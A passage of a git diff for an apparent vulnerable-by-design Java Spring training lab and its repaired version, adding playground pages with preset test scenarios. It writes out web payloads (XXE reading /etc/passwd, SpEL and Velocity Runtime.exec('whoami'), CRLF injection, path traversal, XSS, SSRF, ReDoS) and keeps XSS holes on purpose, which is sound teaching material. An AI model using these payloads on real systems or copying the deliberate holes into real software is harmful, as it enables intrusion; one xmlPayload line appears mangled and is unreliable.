"/ssrf_requestGet?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF", "SSRF OkHttp", "GET", "/ssrf_okhttp?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF", "SSRF DefaultHttpClient", "GET", "/ssrf_defaultHttpClient?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("XXE", "XXE SAXParserFactory", "POST", "/xxe_saxparserfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE XMLReaderFactory", "POST", "/xxe_xmlreaderfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE SAXBuilder", "POST", "/xxe_saxbuilder", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE SAXReader", "POST", "/xxe_saxreader", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE DocumentHelper", "POST", "/xxe_documenthelper", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE DocumentBuilderFactory", "POST", "/xxe_documentbuilderfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE", "XXE XInclude", "POST", "/xxe_documentbuilderfactory_xinclude", "application/xml", xmlXIncludePayload, false) + "," + + scenario("ReDoS", "ReDoS 1", "GET", "/testReDos1?input=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX", "application/json", "", false) + "," + + scenario("ReDoS", "ReDoS 2", "GET", "/testReDos2?input=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1", "application/json", "", false) + "," + + scenario("ReDoS", "ReDoS 3", "GET", "/testReDos3?input=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX", "application/json", "", false) + "," + + scenario("ReDoS", "ReDoS 4", "GET", "/testReDos4?input=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX", "application/json", "", false) + "," + + scenario("ReDoS", "ReDoS 5", "GET", "/testReDos5?input=.........................b", "application/json", "", false) + "," + + scenario("其他", "Swagger 页面", "GET", "/swagger-ui.html", "application/x-www-form-urlencoded", "", false) + + "];" + + commonScript() + + ""; + } + + private String scenario(String category, String name, String method, String path, String contentType, String body, boolean useFile) { + return "{category:'" + esc(category) + "',name:'" + esc(name) + "',method:'" + esc(method) + "',path:'" + esc(path) + "',contentType:'" + esc(contentType) + "',body:'" + esc(body) + "',useFile:" + useFile + "}"; + } + + private String commonScript() { + return "const scenarioBox=document.getElementById('scenario');const methodBox=document.getElementById('method');const pathBox=document.getElementById('path');const contentTypeBox=document.getElementById('contentType');const bodyBox=document.getElementById('body');const fileBox=document.getElementById('file');const resultBox=document.getElementById('result');" + + "const groups={};scenarios.forEach((item,index)=>{let group=groups[item.category];if(!group){group=document.createElement('optgroup');group.label=item.category;groups[item.category]=group;scenarioBox.appendChild(group);}const option=document.createElement('option');option.value=index;option.textContent=item.name;group.appendChild(option);});" + + "function fillScenario(index){const item=scenarios[index];methodBox.value=item.method;pathBox.value=item.path;contentTypeBox.value=item.contentType;bodyBox.value=item.body;}" + + "function fillSelected(){fillScenario(scenarioBox.value||0);}" + + "function openCurrent(){const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();if(method==='GET'){window.open(path,'_blank');return;}const form=document.createElement('form');form.method=method;form.action=path;form.target='_blank';if(contentType==='multipart/form-data'){form.enctype='multipart/form-data';if(fileBox.files.length>0){resultBox.textContent='提示:浏览器安全限制下,无法把当前 file input 的文件复制到临时表单中。请直接访问对应页面后手动选择文件。';return;}}else{form.enctype='application/x-www-form-urlencoded';if(bodyBox.value.trim()!==''){bodyBox.value.split('&').forEach(pair=>{if(pair===''){return;}const parts=pair.split('=');const input=document.createElement('input');input.type='hidden';input.name=decodeURIComponent(parts[0]||'');input.value=decodeURIComponent(parts.slice(1).join('=')||'');form.appendChild(input);});}}document.body.appendChild(form);form.submit();document.body.removeChild(form);}" + + "async function sendCurrent(){resultBox.textContent='请求进行中...';try{const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();const currentScenario=scenarios[scenarioBox.value||0]||{};let response;if(contentType==='multipart/form-data'){const formData=new FormData();if(fileBox.files.length>0){formData.append('file',fileBox.files[0]);}response=await fetch(path,{method:method,body:formData,redirect:'follow'});}else{const options={method:method,headers:{},redirect:'follow'};if(method!=='GET'&&bodyBox.value!==''){options.body=bodyBox.value;if(contentType!==''){options.headers['Content-Type']=contentType;}}response=await fetch(path,options);}const text=await response.text();const redirected=response.redirected?('\\n已跟随跳转到: '+response.url):'';resultBox.textContent='HTTP '+response.status+redirected+'\\n'+text;}catch(error){const currentScenario=scenarios[scenarioBox.value||0]||{};const likelyRedirect=currentScenario.name&¤tScenario.name.indexOf('重定向')!==-1;const hint=likelyRedirect?'\\n提示:当前场景可能已经触发跳转,但 fetch 在跟随外站跳转时会被浏览器跨域策略拦截。请改用“浏览器中打开”观察真实效果。':'';resultBox.textContent='请求失败: '+error+hint;}}" + + "fillScenario(0);"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value + .replace("\\", "\\\\") + .replace("'", "\\'") + .replace("<", "\\u003C") + .replace(">", "\\u003E") + .replace("&", "\\u0026") + .replace("\r", "") + .replace("\n", "\\n"); + } +} diff --git a/base_vul/src/main/java/com/myapp/controller/UserController.java b/base_vul/src/main/java/com/myapp/controller/SqliController.java similarity index 98% rename from base_vul/src/main/java/com/myapp/controller/UserController.java rename to base_vul/src/main/java/com/myapp/controller/SqliController.java index 4df9801..4c6fd5f 100644 --- a/base_vul/src/main/java/com/myapp/controller/UserController.java +++ b/base_vul/src/main/java/com/myapp/controller/SqliController.java @@ -20,7 +20,7 @@ import java.util.Optional; @RestController -public class UserController { +public class SqliController { @Autowired private UserService userService; @@ -34,7 +34,7 @@ public class UserController { private final User4Repository user4Repository; // 构造函数注入 JdbcTemplate - public UserController(JdbcTemplate jdbcTemplate, UserLogic userLogic, User3Repository user3Repository, User4Repository user4Repository) { + public SqliController(JdbcTemplate jdbcTemplate, UserLogic userLogic, User3Repository user3Repository, User4Repository user4Repository) { this.jdbcTemplate = jdbcTemplate; this.userLogic = userLogic; this.user3Repository = user3Repository; diff --git a/base_vul/src/main/resources/application.properties b/base_vul/src/main/resources/application.properties index 7550c99..cd155c3 100644 --- a/base_vul/src/main/resources/application.properties +++ b/base_vul/src/main/resources/application.properties @@ -1,7 +1,8 @@ -spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver -spring.datasource.url=jdbc:mysql://mysql:3306/sec?characterEncoding=utf8&useSSL=true -spring.datasource.username=sec -spring.datasource.password=123456 +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.url=jdbc:sqlite:/tmp/base_vul.db +spring.sql.init.mode=always +spring.jpa.database-platform=com.myapp.config.SQLiteDialect +spring.jpa.hibernate.ddl-auto=none mybatis.type-aliases-package=com.myapp.model @@ -12,4 +13,3 @@ spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html spring.jpa.show-sql=true - diff --git a/base_vul/src/main/resources/data.sql b/base_vul/src/main/resources/data.sql new file mode 100644 index 0000000..2cc583f --- /dev/null +++ b/base_vul/src/main/resources/data.sql @@ -0,0 +1,14 @@ +INSERT INTO users (id, name) VALUES (1, 'test'); +INSERT INTO users (id, name) VALUES (2, 'admin'); +INSERT INTO users (id, name) VALUES (3, '123'); +INSERT INTO users (id, name) VALUES (4, ''); + +INSERT INTO user3 (id, name) VALUES (1, 'test'); +INSERT INTO user3 (id, name) VALUES (2, 'admin'); +INSERT INTO user3 (id, name) VALUES (3, '123'); +INSERT INTO user3 (id, name) VALUES (4, ''); + +INSERT INTO user4 (id, name) VALUES (1, 'test'); +INSERT INTO user4 (id, name) VALUES (2, 'admin'); +INSERT INTO user4 (id, name) VALUES (3, '123'); +INSERT INTO user4 (id, name) VALUES (4, ''); diff --git a/base_vul/src/main/resources/schema.sql b/base_vul/src/main/resources/schema.sql new file mode 100644 index 0000000..99d09af --- /dev/null +++ b/base_vul/src/main/resources/schema.sql @@ -0,0 +1,18 @@ +DROP TABLE IF EXISTS user3; +DROP TABLE IF EXISTS user4; +DROP TABLE IF EXISTS users; + +CREATE TABLE users ( + id INTEGER PRIMARY KEY, + name TEXT +); + +CREATE TABLE user3 ( + id INTEGER PRIMARY KEY, + name TEXT +); + +CREATE TABLE user4 ( + id INTEGER PRIMARY KEY, + name TEXT +); diff --git a/base_vul/src/main/resources/templates/xss.html b/base_vul/src/main/resources/templates/xss.html index d866995..03025f7 100644 --- a/base_vul/src/main/resources/templates/xss.html +++ b/base_vul/src/main/resources/templates/xss.html @@ -5,13 +5,13 @@ Spring Boot DOM XSS Demo -

Hello !

-

This is an example of a DOM XSS vulnerability in a Spring Boot application.

+

Hello !

+

This page intentionally keeps unsafe rendering so the XSS example can be reproduced.

- \ No newline at end of file + diff --git a/base_vul/src/main/resources/templates/xss_dom_index.html b/base_vul/src/main/resources/templates/xss_dom_index.html index 248770f..5fdb98e 100644 --- a/base_vul/src/main/resources/templates/xss_dom_index.html +++ b/base_vul/src/main/resources/templates/xss_dom_index.html @@ -5,7 +5,7 @@ Spring Boot DOM XSS Demo -
+ diff --git a/base_vul_repair/Dockerfile b/base_vul_repair/Dockerfile index d63c5a1..8ac168a 100644 --- a/base_vul_repair/Dockerfile +++ b/base_vul_repair/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/base_vul/target/base_vul_repair-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/base_vul_repair/Dockerfile_local b/base_vul_repair/Dockerfile_local index bce3d8a..8d7015f 100644 --- a/base_vul_repair/Dockerfile_local +++ b/base_vul_repair/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/base_vul_repair-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/base_vul_repair/base_vul_repair.iml b/base_vul_repair/base_vul_repair.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/base_vul_repair/base_vul_repair.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/base_vul_repair/docker-compose.yaml b/base_vul_repair/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/base_vul_repair/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/base_vul_repair/pom.xml b/base_vul_repair/pom.xml index 6f6251e..7d24a3e 100644 --- a/base_vul_repair/pom.xml +++ b/base_vul_repair/pom.xml @@ -41,9 +41,9 @@ 2.1.4 - mysql - mysql-connector-java - 8.0.23 + org.xerial + sqlite-jdbc + 3.45.3.0 org.springframework @@ -138,4 +138,4 @@ - \ No newline at end of file + diff --git a/base_vul_repair/src/main/java/com/myapp/controller/FileController.java b/base_vul_repair/src/main/java/com/myapp/controller/FileController.java index b716ba4..18072e2 100644 --- a/base_vul_repair/src/main/java/com/myapp/controller/FileController.java +++ b/base_vul_repair/src/main/java/com/myapp/controller/FileController.java @@ -1,5 +1,6 @@ package com.myapp.controller; +import org.apache.commons.lang.StringUtils; import org.springframework.util.ResourceUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -15,11 +16,15 @@ import java.awt.image.BufferedImage; import java.io.*; import java.nio.file.Files; +import java.nio.file.InvalidPathException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; +import com.myapp.util.FileFilter; + + @RestController public class FileController { @@ -84,8 +89,15 @@ public String handleFileUpload(@RequestParam("file") MultipartFile file, HttpSer @GetMapping("/file_read") public String readFile(@RequestParam String filePath) throws IOException { File file = new File(ResourceUtils.getFile(filePath).getAbsolutePath()); + String absolutePath = file.getAbsolutePath(); String canonicalPath = file.getCanonicalPath(); - if (!canonicalPath.startsWith(ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath())) { + String uploadPath = ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath(); + + System.out.println("Absolute Path: " + absolutePath); + System.out.println("Canonical Path: " + canonicalPath); + System.out.println("Canonical Path: " + uploadPath); + + if (!canonicalPath.startsWith(uploadPath)) { return "Access denied"; } if (!file.exists() || !file.isFile()) { @@ -104,6 +116,101 @@ public String readFile(@RequestParam String filePath) throws IOException { return stringBuilder.toString(); } + + @GetMapping("/file_read1") + public String readFile1(@RequestParam String filePath) throws IOException { + // 获取并规范化路径 + Path basePath = Paths.get(UPLOADS_FOLDER).toRealPath(); + Path resolvedPath = basePath.resolve(filePath).normalize(); + + // 检查是否在指定目录下 + if (!resolvedPath.startsWith(basePath)) { + return "Access denied"; + } + + // 检查文件是否存在、是否是文件、是否可读 + if (!Files.exists(resolvedPath) || !Files.isRegularFile(resolvedPath) || !Files.isReadable(resolvedPath)) { + return "File not found or cannot be read"; + } + + // 读取文件内容 + StringBuilder contentBuilder = new StringBuilder(); + try (BufferedReader reader = Files.newBufferedReader(resolvedPath)) { + String line; + while ((line = reader.readLine()) != null) { + contentBuilder.append(line).append("\n"); + } + } + + return contentBuilder.toString(); + } + + + + @GetMapping("/file_read2") + public String readFile2(@RequestParam String filePath) { + try { + // 首先过滤路径中的目录遍历字符 + if (!FileFilter.doFilter(filePath)) { + return "Access denied due to invalid path"; + } + + // 验证路径是否在指定的父目录中 + if (FileFilter.isValidDirectoryPath(filePath, UPLOADS_FOLDER)) { + Path resolvedPath = Paths.get(UPLOADS_FOLDER).resolve(filePath).normalize(); + + // 检查文件是否存在、是否是文件、是否可读 + if (!Files.exists(resolvedPath) || !Files.isRegularFile(resolvedPath) || !Files.isReadable(resolvedPath)) { + return "File not found or cannot be read"; + } + + // 读取文件内容 + StringBuilder contentBuilder = new StringBuilder(); + try (BufferedReader reader = Files.newBufferedReader(resolvedPath)) { + String line; + while ((line = reader.readLine()) != null) { + contentBuilder.append(line).append("\n"); + } + } + + return contentBuilder.toString(); + } else { + return "Access denied"; + } + } catch (InvalidPathException | IOException e) { + return "Invalid file path or access error"; + } + } + + + @GetMapping("/file_read3") + public String readFile3(@RequestParam String filePath) throws IOException { + File file = new File(ResourceUtils.getFile(filePath).getAbsolutePath()); + String absolutePath = file.getAbsolutePath(); + String canonicalPath = file.getCanonicalPath(); + String uploadPath = ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath(); + + + System.out.println("Absolute Path: " + absolutePath); + System.out.println("Canonical Path: " + canonicalPath); + System.out.println("Canonical Path: " + uploadPath); + + if (StringUtils.contains(filePath, "/") ) { + return "存在目录遍历漏洞"; + } + + BufferedReader reader = new BufferedReader(new FileReader(file)); + String line = null; + StringBuilder stringBuilder = new StringBuilder(); + while ((line = reader.readLine()) != null) { + stringBuilder.append(line); + } + reader.close(); + return stringBuilder.toString(); + } + + + @GetMapping("/file_write") public String writeFile(@RequestParam String fileName, @RequestParam String data) throws IOException { // 检查文件名是否包含目录遍历字符 diff --git a/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java b/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..277e391 --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,119 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String xmlPayload = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "" + + "base_vul_repair Playground" + + style() + + "

base_vul_repair Playground

" + + "

这里展示的是修复版接口。请选择一个预设场景,切换后会自动回填方法、路径、内容类型和请求体,方便对比修复后的行为。

" + + "" + + "" + + "" + + "" + + "" + + "" + + "
" + + "

说明:发送请求会以文本形式展示响应,适合观察修复后的返回值。若要观察页面渲染或重定向效果,请使用“浏览器中打开”。场景已按类别分组显示。

" + + "
等待发送请求...
" + + "", "application/json", "", false) + "," + + scenario("XSS 修复", "reflect htmlEscape", "GET", "/xss_reflect_htmlEscape?name=", "application/json", "", false) + "," + + scenario("XSS 修复", "reflect escapeHtml4", "GET", "/xss_reflect_escapeHtml4?name=", "application/json", "", false) + "," + + scenario("XSS 修复", "storage thymeleaf", "GET", "/xss_storage_thymeleaf?name=%3Cscript%3Ealert(123)%3C/script%3E", "application/json", "", false) + "," + + scenario("文件修复", "文件上传页面", "GET", "/file_upload", "application/json", "", false) + "," + + scenario("文件修复", "文件上传", "POST", "/file_upload", "multipart/form-data", "", true) + "," + + scenario("文件修复", "文件读取 canonical 校验", "GET", "/file_read?filePath=uploads/test.log", "application/json", "", false) + "," + + scenario("文件修复", "文件读取 safe resolve", "GET", "/file_read1?filePath=test.log", "application/json", "", false) + "," + + scenario("文件修复", "文件读取 filter 校验", "GET", "/file_read2?filePath=test.log", "application/json", "", false) + "," + + scenario("文件修复", "文件读取字符串过滤", "GET", "/file_read3?filePath=uploads/test.log", "application/json", "", false) + "," + + scenario("文件修复", "文件写入被拒绝示例", "GET", "/file_write?fileName=test.txt&data=test", "application/json", "", false) + "," + + scenario("文件修复", "文件写入合法 .log", "GET", "/file_write?fileName=test.log&data=test", "application/json", "", false) + "," + + scenario("文件修复", "文件下载被拒绝示例", "GET", "/file_download?fileName=../pom.xml", "application/json", "", false) + "," + + scenario("文件修复", "文件下载合法 .log", "GET", "/file_download?fileName=test.log", "application/json", "", false) + "," + + scenario("文件修复", "文件删除被拒绝示例", "GET", "/file_delete?fileName=../test", "application/json", "", false) + "," + + scenario("文件修复", "文件删除合法名称", "GET", "/file_delete?fileName=test", "application/json", "", false) + "," + + scenario("命令执行与表达式修复", "Runtime 拦截 whoami", "GET", "/runtime_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("命令执行与表达式修复", "Runtime 允许 date", "GET", "/runtime_command_execute?command=date", "application/json", "", false) + "," + + scenario("命令执行与表达式修复", "ProcessBuilder 拦截 whoami", "GET", "/process_builder_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("命令执行与表达式修复", "ProcessBuilder 允许 echo", "GET", "/process_builder_command_execute?command=echo hello", "application/json", "", false) + "," + + scenario("命令执行与表达式修复", "SpEL 拦截危险表达式", "GET", "/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')", "application/x-www-form-urlencoded", "", false) + "," + + scenario("命令执行与表达式修复", "SpEL 正常表达式", "GET", "/spel_expression?input='hello'", "application/x-www-form-urlencoded", "", false) + "," + + scenario("命令执行与表达式修复", "SSTI Velocity 过滤危险字符", "GET", "/ssti_velocity?content=%23set (%24exp %3d \"exp\")%3b%24exp.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理修复", "CRLF 注入测试", "GET", "/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理修复", "开放重定向拦截外站", "GET", "/OpenRedirector_ModelAndView?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理修复", "开放重定向允许白名单", "GET", "/OpenRedirector_ModelAndView?url=https://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理修复", "sendRedirect 拦截外站", "GET", "/OpenRedirector_sendRedirect?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("请求处理修复", "Location 允许白名单", "GET", "/OpenRedirector_lacation?url=https://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "openStream 拦截外站", "GET", "/ssrf_openStream?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "openStream 允许白名单", "GET", "/ssrf_openStream?url=http://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "openConnection 拦截外站", "GET", "/ssrf_openConnection?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "Request.Get 允许白名单", "GET", "/ssrf_requestGet?url=http://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "OkHttp 允许白名单", "GET", "/ssrf_okhttp?url=http://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF 修复", "DefaultHttpClient 允许白名单", "GET", "/ssrf_defaultHttpClient?url=http://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("XXE 修复", "SAXParserFactory", "POST", "/xxe_saxparserfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "XMLReaderFactory", "POST", "/xxe_xmlreaderfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "SAXBuilder", "POST", "/xxe_saxbuilder", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "SAXReader", "POST", "/xxe_saxreader", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "DocumentHelper", "POST", "/xxe_documenthelper", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "DocumentBuilderFactory", "POST", "/xxe_documentbuilderfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE 修复", "DocumentBuilderFactory XInclude", "POST", "/xxe_documentbuilderfactory_xinclude", "application/xml", xmlXIncludePayload, false) + "," + + scenario("其他", "Swagger 页面", "GET", "/swagger-ui.html", "application/x-www-form-urlencoded", "", false) + + "];" + + commonScript() + + ""; + } + + private String scenario(String category, String name, String method, String path, String contentType, String body, boolean useFile) { + return "{category:'" + esc(category) + "',name:'" + esc(name) + "',method:'" + esc(method) + "',path:'" + esc(path) + "',contentType:'" + esc(contentType) + "',body:'" + esc(body) + "',useFile:" + useFile + "}"; + } + + private String commonScript() { + return "const scenarioBox=document.getElementById('scenario');const methodBox=document.getElementById('method');const pathBox=document.getElementById('path');const contentTypeBox=document.getElementById('contentType');const bodyBox=document.getElementById('body');const fileBox=document.getElementById('file');const resultBox=document.getElementById('result');" + + "const groups={};scenarios.forEach((item,index)=>{let group=groups[item.category];if(!group){group=document.createElement('optgroup');group.label=item.category;groups[item.category]=group;scenarioBox.appendChild(group);}const option=document.createElement('option');option.value=index;option.textContent=item.name;group.appendChild(option);});" + + "function fillScenario(index){const item=scenarios[index];methodBox.value=item.method;pathBox.value=item.path;contentTypeBox.value=item.contentType;bodyBox.value=item.body;}" + + "function fillSelected(){fillScenario(scenarioBox.value||0);}" + + "function openCurrent(){const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();if(method==='GET'){window.open(path,'_blank');return;}const form=document.createElement('form');form.method=method;form.action=path;form.target='_blank';if(contentType==='multipart/form-data'){form.enctype='multipart/form-data';if(fileBox.files.length>0){resultBox.textContent='提示:浏览器安全限制下,无法把当前 file input 的文件复制到临时表单中。请直接访问对应页面后手动选择文件。';return;}}else{form.enctype='application/x-www-form-urlencoded';if(bodyBox.value.trim()!==''){bodyBox.value.split('&').forEach(pair=>{if(pair===''){return;}const parts=pair.split('=');const input=document.createElement('input');input.type='hidden';input.name=decodeURIComponent(parts[0]||'');input.value=decodeURIComponent(parts.slice(1).join('=')||'');form.appendChild(input);});}}document.body.appendChild(form);form.submit();document.body.removeChild(form);}" + + "async function sendCurrent(){resultBox.textContent='请求进行中...';try{const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();const currentScenario=scenarios[scenarioBox.value||0]||{};let response;if(contentType==='multipart/form-data'){const formData=new FormData();if(fileBox.files.length>0){formData.append('file',fileBox.files[0]);}response=await fetch(path,{method:method,body:formData,redirect:'follow'});}else{const options={method:method,headers:{},redirect:'follow'};if(method!=='GET'&&bodyBox.value!==''){options.body=bodyBox.value;if(contentType!==''){options.headers['Content-Type']=contentType;}}response=await fetch(path,options);}const text=await response.text();const redirected=response.redirected?('\\n已跟随跳转到: '+response.url):'';resultBox.textContent='HTTP '+response.status+redirected+'\\n'+text;}catch(error){const currentScenario=scenarios[scenarioBox.value||0]||{};const likelyRedirect=currentScenario.name&¤tScenario.name.indexOf('重定向')!==-1;const hint=likelyRedirect?'\\n提示:当前场景可能已经触发跳转,但 fetch 在跟随外站跳转时会被浏览器跨域策略拦截。请改用“浏览器中打开”观察真实效果。':'';resultBox.textContent='请求失败: '+error+hint;}}" + + "fillScenario(0);"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value + .replace("\\", "\\\\") + .replace("'", "\\'") + .replace("<", "\\u003C") + .replace(">", "\\u003E") + .replace("&", "\\u0026") + .replace("\r", "") + .replace("\n", "\\n"); + } +} diff --git a/base_vul_repair/src/main/java/com/myapp/controller/UserController.java b/base_vul_repair/src/main/java/com/myapp/controller/SqliController.java similarity index 67% rename from base_vul_repair/src/main/java/com/myapp/controller/UserController.java rename to base_vul_repair/src/main/java/com/myapp/controller/SqliController.java index 5f43e04..12c5eed 100644 --- a/base_vul_repair/src/main/java/com/myapp/controller/UserController.java +++ b/base_vul_repair/src/main/java/com/myapp/controller/SqliController.java @@ -4,6 +4,7 @@ import com.myapp.model.User; import com.myapp.model.User2; import com.myapp.service.UserService; +import com.myapp.util.SqlInjectionFilter; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.jdbc.core.JdbcTemplate; @@ -12,11 +13,13 @@ import java.sql.ResultSet; import java.sql.SQLException; +import java.util.Arrays; import java.util.List; import java.util.Optional; +import java.util.stream.Collectors; @RestController -public class UserController { +public class SqliController { @Autowired private UserService userService; @@ -25,13 +28,12 @@ public class UserController { // 构造函数注入 JdbcTemplate - public UserController(JdbcTemplate jdbcTemplate, UserLogic userLogic) { + public SqliController(JdbcTemplate jdbcTemplate, UserLogic userLogic) { this.jdbcTemplate = jdbcTemplate; this.userLogic = userLogic; } - @Autowired private UserMapper userMapper; // http://127.0.0.1:8080/users/1/ @@ -41,11 +43,46 @@ public ResponseEntity getUser(@PathVariable String id) { return ResponseEntity.ok(user); } + // http://127.0.0.1:8080/users1/1/ + @GetMapping(value = "/users1/{id}", produces = "application/json") + public ResponseEntity getUser1(@PathVariable String id) { + try { + SqlInjectionFilter.validate(id); + User user = userService.findById1(id); + return ResponseEntity.ok(user); + } catch (IllegalArgumentException e) { + return ResponseEntity.badRequest().build(); + } + } + + // http://127.0.0.1:8080/users2/1/ + @GetMapping(value = "/users2/{id}", produces = "application/json") + public ResponseEntity getUser2(@PathVariable String id) { + try { + // 验证传入的id是否为有效的数字 + long userId = Long.parseLong(id); + User user = userService.findById2(userId); + return ResponseEntity.ok(user); + } catch (NumberFormatException e) { + // 如果id不是有效的数字,返回400 Bad Request + return ResponseEntity.badRequest().build(); + } catch (IllegalArgumentException e) { + // 处理其他非法参数异常 + return ResponseEntity.badRequest().build(); + } + } + + + // http://127.0.0.1:8080/users/ids/?ids=1,2,3 @GetMapping("/users/ids") public List findUsersByIds(@RequestParam String ids) { - List users = userMapper.findUsersByIds(ids); - return users; + List userIds = Arrays.stream(ids.split(",")) + .map(String::trim) + .filter(value -> !value.isEmpty()) + .map(Long::parseLong) + .collect(Collectors.toList()); + return userMapper.findUsersByIds(userIds); } // http://127.0.0.1:8080/users/name?name=A @GetMapping("/users/name") @@ -104,4 +141,4 @@ public List findUsers(@RequestBody User2 user) { } -} \ No newline at end of file +} diff --git a/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java b/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java index bc3c976..00ffaa9 100644 --- a/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java +++ b/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java @@ -11,7 +11,12 @@ public interface UserMapper { User findById(@Param("id") String id); - List findUsersByIds(@Param("ids") String ids); + User findById1(@Param("id") String id); + + User findById2(@Param("id") Long id); + + + List findUsersByIds(@Param("ids") List ids); List findUsersByNameLike(@Param("name") String name); @@ -25,4 +30,4 @@ public interface UserMapper { @Select("SELECT * FROM users WHERE name = #{name}") List findUsersByUsername(String name); -} \ No newline at end of file +} diff --git a/base_vul_repair/src/main/java/com/myapp/service/UserService.java b/base_vul_repair/src/main/java/com/myapp/service/UserService.java index 3ce562b..3a109d5 100644 --- a/base_vul_repair/src/main/java/com/myapp/service/UserService.java +++ b/base_vul_repair/src/main/java/com/myapp/service/UserService.java @@ -16,6 +16,14 @@ public User findById(String id) { return userMapper.findById(id); } + public User findById1(String id) { + return userMapper.findById1(id); + } + + public User findById2(long id) { + return userMapper.findById2(id); + } + public List findUsersByName(String name) { return userMapper.findUsersByName(name); } diff --git a/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java b/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java new file mode 100644 index 0000000..cc23893 --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java @@ -0,0 +1,39 @@ +package com.myapp.util; +import java.io.IOException; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.regex.*; + +public class FileFilter { + + private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile(".*[.]{2,}.*|.*[%]{2,}.*|.*[/]{2,}.*", Pattern.CASE_INSENSITIVE); + + /** + * 过滤路径中的目录遍历关键字符 + * + * @param path 要验证的路径 + * @return 如果路径包含目录遍历字符返回 false,否则返回 true + */ + public static boolean doFilter(String path) { + if (path == null || path.isEmpty()) { + return false; + } + return 